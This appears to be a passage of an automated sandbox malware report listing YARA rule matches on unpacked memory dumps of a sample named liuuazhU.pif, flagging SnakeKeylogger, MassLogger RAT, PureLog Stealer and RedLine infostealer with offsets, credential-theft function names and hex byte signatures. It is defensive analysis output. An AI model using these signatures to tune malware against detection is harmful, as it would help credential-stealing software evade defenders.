6.2.liuuazhU.pif.1e426478.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x4fdbe:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x4fd92:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x4fe56:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x4fd6e:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x4fdd4:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x4fba1:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x4f12b:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x4e5f0:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x4d028:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x4cff7:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
11.3.liuuazhU.pif.28cff190.0.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.3.liuuazhU.pif.28cff190.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.3.liuuazhU.pif.28cff190.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
6.2.liuuazhU.pif.1d3a0000.4.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1d3a0000.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1d3a0000.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
6.2.liuuazhU.pif.1e454590.8.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1e454590.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1e454590.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
17.1.liuuazhU.pif.476068.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
6.1.liuuazhU.pif.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
17.2.liuuazhU.pif.1d824590.10.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1d824590.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1d824590.10.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
6.2.liuuazhU.pif.1d3a0f08.5.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1d3a0f08.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1d3a0f08.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
17.3.liuuazhU.pif.1a55c2f8.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.3.liuuazhU.pif.1a55c2f8.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.3.liuuazhU.pif.1a55c2f8.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
6.2.liuuazhU.pif.1e454590.8.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1e454590.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1e454590.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
11.2.liuuazhU.pif.2aa80000.5.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2aa80000.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2aa80000.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20dae:$a1: get_encryptedPassword 0x20d82:$a2: get_encryptedUsername 0x20e46:$a3: get_timePasswordChanged 0x20d5e:$a4: get_passwordField 0x20dc4:$a5: set_encryptedPassword 0x20b91:$a7: get_logins 0x2011b:$a8: GetOutlookPasswords 0x1f5e0:$a9: StartKeylogger 0x1e018:$a10: KeyLoggerEventArgs 0x1dfe7:$a11: KeyLoggerEventArgsEventHandler 0x20c65:$a13: _encryptedPassword
11.2.liuuazhU.pif.400000.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
6.2.liuuazhU.pif.400000.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
6.2.liuuazhU.pif.1d036826.2.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1d036826.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1d036826.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
17.1.liuuazhU.pif.43d038.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x560e0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x390b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x39730:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x57dba:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x57a00:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x56eb8:$s6: constructor or from DllMain.
11.2.liuuazhU.pif.2a99772e.4.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2a99772e.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2a99772e.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
11.1.liuuazhU.pif.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
10.2.Uhzauuil.PIF.20f96fd8.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
6.3.liuuazhU.pif.1b37a088.0.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.3.liuuazhU.pif.1b37a088.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.3.liuuazhU.pif.1b37a088.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
11.2.liuuazhU.pif.2ab30000.7.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2ab30000.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2ab30000.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
10.2.Uhzauuil.PIF.20f5dfa8.4.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x350b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x35730:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
11.3.liuuazhU.pif.28cff190.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.3.liuuazhU.pif.28cff190.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.3.liuuazhU.pif.28cff190.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
6.1.liuuazhU.pif.400000.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
17.3.liuuazhU.pif.1a55c2f8.0.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.3.liuuazhU.pif.1a55c2f8.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.3.liuuazhU.pif.1a55c2f8.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
10.2.Uhzauuil.PIF.20f5dfa8.4.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x560e0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x390b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x39730:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x57dba:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x57a00:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x56eb8:$s6: constructor or from DllMain.
11.1.liuuazhU.pif.43d038.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x560e0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x390b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x39730:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x57dba:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x57a00:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x56eb8:$s6: constructor or from DllMain.
6.2.liuuazhU.pif.43d038.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
6.1.liuuazhU.pif.43d038.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
